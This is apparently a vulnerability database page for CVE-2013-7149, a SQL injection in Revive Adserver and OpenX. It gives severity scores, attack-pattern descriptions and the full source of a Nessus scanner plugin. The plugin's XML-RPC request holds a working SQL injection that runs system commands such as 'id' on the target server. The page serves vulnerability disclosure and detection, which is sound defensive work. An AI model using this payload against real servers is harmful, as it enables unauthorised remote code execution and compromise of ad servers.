Vulnerabilities > CVE-2013-7149 - SQL Injection vulnerability in multiple products

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
openx
revive-adserver
CWE-89
nessus

Summary

SQL injection vulnerability in www/delivery/axmlrpc.php (aka the XML-RPC delivery invocation script) in Revive Adserver before 3.0.2, and OpenX Source 2.8.11 and earlier, allows remote attackers to execute arbitrary SQL commands via the what parameter to an XML-RPC method.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Object Relational Mapping Injection
    An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
  • SQL Injection through SOAP Parameter Tampering
    An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
  • Expanding Control over the Operating System from the Database
    An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
  • SQL Injection
    This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:

D2sec

nameOpenX 2.8.11 SQL Injection
urlhttp://www.d2sec.com/exploits/openx_2.8.11_sql_injection.html

Nessus

  • NASL familyCGI abuses
    NASL idREVIVE_ADSERVER_AXMLRPC_SQL_INJECTION.NASL
    descriptionThe Revive Adserver install hosted on the remote web server is affected by a SQL injection vulnerability because the
    last seen2020-06-01
    modified2020-06-02
    plugin id76254
    published2014-06-26
    reporterThis script is Copyright (C) 2014-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/76254
    titleRevive Adserver 'www/delivery/axmlrpc.php' 'what' Parameter SQL Injection
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(76254);
      script_version("1.6");
      script_cvs_date("Date: 2018/07/27 18:38:14");
    
      script_cve_id("CVE-2013-7149");
      script_bugtraq_id(64463);
    
      script_name(english:"Revive Adserver 'www/delivery/axmlrpc.php' 'what' Parameter SQL Injection");
      script_summary(english:"Attempts a SQL injection attack.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a PHP application that is affected by a
    SQL injection vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The Revive Adserver install hosted on the remote web server is
    affected by a SQL injection vulnerability because the
    'www/delivery/axmlrpc.php' script fails to properly sanitize
    user-supplied input passed to the 'what' parameter. This can allow a
    remote, unauthenticated attacker to execute arbitrary SQL statements
    against the back-end database, leading to execution of arbitrary code,
    manipulation of data, or disclosure of arbitrary data.");
      # http://www.kreativrauschen.com/blog/2013/12/18/zero-day-vulnerability-in-openx-source-2-8-11-and-revive-adserver-3-0-1/
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bc95cc7a");
      script_set_attribute(attribute:"see_also", value:"http://www.revive-adserver.com/security/revive-sa-2013-001/");
      script_set_attribute(attribute:"solution", value:"Upgrade to version 3.0.2 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"false");
      script_set_attribute(attribute:"d2_elliot_name", value:"OpenX 2.8.11 SQL Injection");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2013/12/18");
      script_set_attribute(attribute:"patch_publication_date", value:"2013/12/20");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/06/26");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:revive-adserver:revive_adserver");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2014-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("revive_adserver_detect.nbin", "os_fingerprint.nasl");
      script_require_keys("www/PHP", "www/revive_adserver");
      script_require_ports("Services/www", 80);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80, php:TRUE);
    app = "Revive Adserver";
    
    install = get_install_from_kb(
      appname : "revive_adserver",
      port    : port,
      exit_on_fail : TRUE
    );
    dir = install["dir"];
    install_url = build_url(port:port, qs:dir + "/index.php");
    dir = dir - "/admin";
    
    # Determine which command to execute on target host
    os = get_kb_item("Host/OS");
    if (os && report_paranoia < 2)
    {
      if ("Windows" >< os) cmd = 'ipconfig /all';
      else cmd = 'id';
    
      cmds = make_list(cmd);
    }
    else cmds = make_list('id', 'ipconfig /all');
    
    cmd_pats = make_array();
    cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
    cmd_pats['ipconfig /all'] = "Subnet Mask";
    
    script = SCRIPT_NAME - ".nasl" + '-' + unixtime();
    vuln = FALSE;
    
    foreach cmd (cmds)
    {
      attack = hexstr("1);echo('"+script+" ');system('"+cmd+"');exit;/*");
    
      postdata =
        '<methodCall>\n' +
        '<methodName>openads.view</methodName>\n' +
        '<params>\n' +
        '  <param>\n' +
        '  <value>\n' +
        '  <struct>\n' +
        '  <member>\n' +
        '    <name>remote_addr</name>\n' +
        '    <value>127.0.0.1</value>\n' +
        '  </member>\n' +
        '  <member>\n' +
        '  </member>\n' +
        '  <member>\n' +
        '    <name>cookies</name>\n' +
        '    <value>\n' +
        '    <array>' + rand() + '</array>\n' +
        '  </value>\n' +
        '  </member>\n' +
        '  </struct>\n' +
        '  </value>\n' +
        '  </param>\n' +
        "  <param><value><string>height:1') OR 1=1 UNION (SELECT * FROM (SELECT " +
        "1)a JOIN (SELECT 1)b JOIN (SELECT 0)c JOIN (SELECT 'html')d JOIN (SELECT"+
        " '')e JOIN (SELECT 1)f JOIN (SELECT 0)g JOIN (SELECT '')h JOIN (SELECT " +
        "1)i JOIN (SELECT '')j JOIN (SELECT 0)k JOIN (SELECT 0)l JOIN (SELECT 0)m" +
        " JOIN (SELECT 0x" + attack + ")n JOIN (SELECT '')o JOIN (SELECT " +
        "'errormessage.gif')p JOIN (SELECT 0)q JOIN (SELECT 2)r JOIN (SELECT 2)s" +
        " JOIN (SELECT 1)t JOIN (SELECT 1)u JOIN (SELECT 10)v JOIN (SELECT 2)w " +
        "JOIN (SELECT 0)x JOIN (SELECT 0)y JOIN (SELECT 0)z JOIN (SELECT 0)aa " +
        "JOIN (SELECT 2)ab JOIN (SELECT null)ac JOIN (SELECT 0)ad JOIN (SELECT " +
        "0)ae JOIN (SELECT null)af JOIN (SELECT null)ag JOIN (SELECT 0)ah JOIN " +
        "(SELECT 0)ai ) ORDER BY ad_id DESC LIMIT 1;#</string></value></param>" +
        '\n  <param><value><int>1</int></value></param>\n' +
        '  <param><value><string>' + rand_str() + '</string></value></param>\n' +
        '  <param><value><string>' + rand_str() + '</string></value></param>\n' +
        '  <param><value><boolean>1</boolean></value></param>\n' +
        '  <param><value><array><data>'+rand()+'</data></array></value></param>\n' +
        '</params>\n' +
        '</methodCall>\n';
    
      res = http_send_recv3(
        method : "POST",
        port   : port,
        item   : dir + "/delivery/axmlrpc.php",
        data   : postdata,
        content_type : "application/x-www-form-urlencoded",
        exit_on_fail : TRUE
      );
    
      if (egrep(pattern:cmd_pats[cmd], string:res[2]))
      {
        vuln = TRUE;
        break;
      }
    }
    
    if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
    
    set_kb_item(name:"www/"+port+"/SQLInjection", value:TRUE);
    
    if (report_verbosity > 0)
    {
      snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report =
        '\n' + 'Nessus was able to verify the issue exists using the following request :' +
        '\n' +
        '\n' + http_last_sent_request() +
        '\n' +
        '\n';
      if (report_verbosity > 1)
      {
        output = res[2] - script;
        report +=
          '\n' + 'This used a SQL query to execute the command "' + cmd + '" which' +
          '\n' + 'produced the following output :' +
          '\n' +
          '\n' + snip +
          '\n' + data_protection::sanitize_uid(output:chomp(output)) +
          '\n' + snip +
          '\n';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_3E33A0BB6B2F11E3B04220CF30E32F6D.NASL
    descriptionRevive reports : A SQL-injection vulnerability was recently discovered and reported to the Revive Adserver team by Florian Sander. The vulnerability is known to be already exploited to gain unauthorised access to the application using brute force mechanisms, however other kind of attacks might be possible and/or already in use. The risk is rated to be critical as the most common end goal of the attackers is to spread malware to the visitors of all the websites and ad networks that the ad server is being used on. The vulnerability is also present and exploitable in OpenX Source 2.8.11 and earlier versions, potentially back to phpAdsNew 2.0.x.
    last seen2020-06-01
    modified2020-06-02
    plugin id71603
    published2013-12-23
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/71603
    titleFreeBSD : OpenX -- SQL injection vulnerability (3e33a0bb-6b2f-11e3-b042-20cf30e32f6d)